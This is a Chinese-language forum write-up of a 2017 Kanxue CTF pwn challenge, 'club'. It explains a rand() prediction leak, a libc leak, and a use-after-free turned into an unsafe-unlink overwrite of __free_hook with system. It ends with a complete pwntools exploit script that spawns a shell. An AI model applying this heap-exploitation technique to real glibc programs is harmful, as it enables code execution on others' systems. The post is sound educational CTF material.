首页
社区
课程
招聘
[原创]看雪.TSRC 2017CTF秋季赛第四题 club_pwn
2017-10-30 19:53 4432

[原创]看雪.TSRC 2017CTF秋季赛第四题 club_pwn

2017-10-30 19:53
4432
 

目录

分析做法

首先,用pwntools检查一下,pwn checksec club

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      PIE enabled

结果如上,保护基本都开了,这意味着要泄露地址,不能使用shellcode,可以改got表。

 

分析get_box函数,发现它会对分配的内存大小进行限制,每个至少相差0x10字节,所以不能用fastbin。
image_1btmm062h1tbm5n61viruej15oi1g.png-64.2kB

 

所以我们的思路就是想办法泄露地址信息,解决PIE。然后利用unsafe_unlink改写__free_hook的值为system函数的地址,然后free一段包含/bin/sh的内存。

泄露程序加载地址

最先发现了猜随机数的这个函数,这种类型的题目以前碰到过,如果你没有猜对,程序会将正确的结果返回给你。
image_1btmjenlfpli5ed122mpb0epg9.png-22.6kB
实际上在这种情况下libc里面的rand函数是可以预测的。规律如下

STATEi = STATEi-3 + STATEi-31, for i > 34
RANDi = STATEi >> 1

其中STATEi是int32_t类型。所以可以用

RANDi = (RANDi-3 + RANDi-31) % (1<<31)

来预测,当然,可能猜不准,多猜几次就是了。

 

seed其实被初始化为了它自己的地址,所以我们得到了seed的地址,也就得到了程序的加载地址。

泄露libc的加载地址

这个很容易,只要适当的free一个内存,它的fdbk就指向了main_arena+88。下图是alloc(1, 128), alloc(2, 144), alloc(3, 160), destroy(2)后的堆。
image_1btmlk7a61s911mrh1eaiicrdcmm.png-69.1kB
得到了main_arena的地址,也就可以算出libc的加载地址了。顺便说一句,作者给的libc就是ubuntu 16.04上面的libc。

触发unlink

给一个网址https://github.com/shellphish/how2heap/blob/master/unsafe_unlink.c
我觉得这个github repository讲的很好,非常值得看。

 

网上的资料很多,主要说一下针对这个题的流程。

 

只有id为2,3的内存才能被释放。先构造出一块大的3内存,并保证它释放的时候不会被合并到Top Chunk。

alloc(4, 528)
alloc(3, 512)
alloc(5, 544)

然后把内存3释放掉,在堆中得到一个空洞。顺便把main_arena的地址泄露出来。

destroy(3)

要注意到destroy_box函数除了free内存什么也没做,没有将指针改为NULL,也没有改变size和存在标志。
image_1btmnt33kmnq1ga9ominendsi1t.png-33.8kB
也就是说,即使我们释放了3内存,依然可以使用它。

 

接着分配两个比较小的内存,但是也要比0x80大,不要落在fastbin里面。

alloc(1, 0x80)
alloc(2, 0x90)

内存1和内存2的大小加起来也比内存3小,所以会在内存3释放后留下的空洞中分配。注意一定要先分配内存1,再分配内存2,因为只有内存2能被free。现在的内存布局如下。

------------------------------------------------------------------
|                 |                        |                     |
------------------------------------------------------------------
|<-      4      ->|<-         3          ->|<-       5         ->|
                  |<- 1 ->|<- 2 ->|

因为我们还有内存3的指针,所以可以任意修改内存1和内存2的值,可以伪造malloc_chunk

代码

到这里差不多就可以写代码了。

#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from pwn import *
import re



# Set up pwntools for the correct architecture
context.update(arch='amd64')
context.log_level = 'info'
exe = './club'


def alloc(box_type, size):
    io.recvuntil('> ')
    io.sendline('1')
    io.recvuntil('> ')
    io.sendline(str(box_type))
    io.recvuntil('> ')
    io.sendline(str(size))
    l = io.recvline()
    if l == 'You have got the box!\n':
        return True
    else:
        return False

def destroy(box_type):
    io.recvuntil('> ')
    io.sendline('2')
    io.recvuntil('> ')
    io.sendline(str(box_type))
    r = io.recvline()
    if r == 'You have destroyed the box!\n':
        return True
    else:
        return False

def leave_message(box_type, message):
    io.recvuntil('> ')
    io.sendline('3')
    io.recvuntil('> ')
    io.sendline(str(box_type))
    io.sendline(message)

def show_message(box_type):
    io.recvuntil('> ')
    io.sendline('4')
    io.recvuntil('> ')
    io.sendline(str(box_type))
    return io.recvline()

def guess_rand(rand_num):
    io.recvuntil('> ')
    io.sendline('5')
    io.recvuntil('> ')
    io.sendline(str(rand_num))
    l = io.recvline()
    wrong = re.match('Wr0ng answer!The number is (\d+)!', l)
    good = re.match('G00dj0b!You get a secret: (\d+)!', l)
    if wrong:
        return int(wrong.group(1)), False
    elif good:
        return int(good.group(1)), True


# Many built-in settings can be controlled on the command-line and show up
# in "args".  For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR

# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
continue
'''.format(**locals())


def start(argv=[], *a, **kw):
    if args.REMOTE:
        return remote('123.206.22.95', 8888)
    if args.GDB:
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([exe] + argv, *a, **kw)

#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================
io = start()
libc = ELF('./libc.so.6')


# 猜随机数,泄露程序地址
l = []
for i in range(64):
    rn, good = guess_rand(3232)
    l.append(rn)
while True:
    end = len(l)
    r = (l[end-3]+l[end-31]) % 2147483648
    rn, good = guess_rand(r)
    if good:
        seed_addr = rn
        box_addrs_addr = seed_addr - 0x48
        log.info("seed address {}".format(str(hex(seed_addr))))
        log.info("box_addrs address {}".format(str(hex(box_addrs_addr))))
        break
    l.append(rn)

alloc(4, 528)
alloc(3, 512)
alloc(5, 544)
destroy(3)
# 找到main_arena,泄露libc地址
main_area = u64(show_message(3)[:6]+'\x00\x00') - 88
libc_base = main_area - 0x3c4b20
log.info('libc address {}'.format(str(hex(libc_base))))

__free_hook_addr = libc.symbols['__free_hook'] + libc_base
system_addr = libc.symbols['system'] + libc_base
log.info("libc __free_hook {}".format(str(hex(__free_hook_addr))))
log.info("libc system {}".format(str(hex(system_addr))))

alloc(1, 0x80)
alloc(2, 0x90)

box1_addr_addr = box_addrs_addr + 8

# fake chunk
payload1 = 'A' * 8                          # fake chunk prev_size
payload1 += p64(8)                          # fake chunk size 
payload1 += p64(box1_addr_addr - 8*3)       # fake chunk fd
payload1 += p64(box1_addr_addr - 8*2)       # fake chunk bk
payload1 += 'A' * (0x80-len(payload1))
payload1 += p64(0x80)                       # overwrite prev_size in next chunk
payload1 += p64(0xa0)                       # set PREV_INUSE to 0
leave_message(3, payload1)
# 触发unlink
destroy(2)


# 将small box的地址改写为__free_hook的地址
payload2 = '\x00' * 24
payload2 += p64(box_addrs_addr-0x10)
payload2 += p64(__free_hook_addr)
leave_message(1, payload2)

# 将__free_hook的值改写为system的地址
leave_message(2, p64(system_addr))

# 写入 '/bin/sh'
leave_message(3, '/bin/sh\x00')

# free normal box,也就是system('/bin/sh')
io.recvuntil('> ')
io.sendline('2')
io.recvuntil('> ')
io.sendline(str(3))

io.interactive()

[培训]二进制漏洞攻防(第3期);满10人开班;模糊测试与工具使用二次开发;网络协议漏洞挖掘;Linux内核漏洞挖掘与利用;AOSP漏洞挖掘与利用;代码审计。

收藏
点赞1
打赏
分享
最新回复 (3)
雪    币: 7194
活跃值: (2630)
能力值: (RANK:520 )
在线值:
发帖
回帖
粉丝
netwind 13 2017-10-30 20:01
2
0
好文
雪    币: 930
活跃值: (1288)
能力值: ( LV15,RANK:750 )
在线值:
发帖
回帖
粉丝
iweizime 7 2017-11-1 13:23
3
0
netwind 好文
谢谢
雪    币: 870
活跃值: (2264)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
s1ber 2018-7-21 17:13
4
0
写的很好
游客
登录 | 注册 方可回帖
返回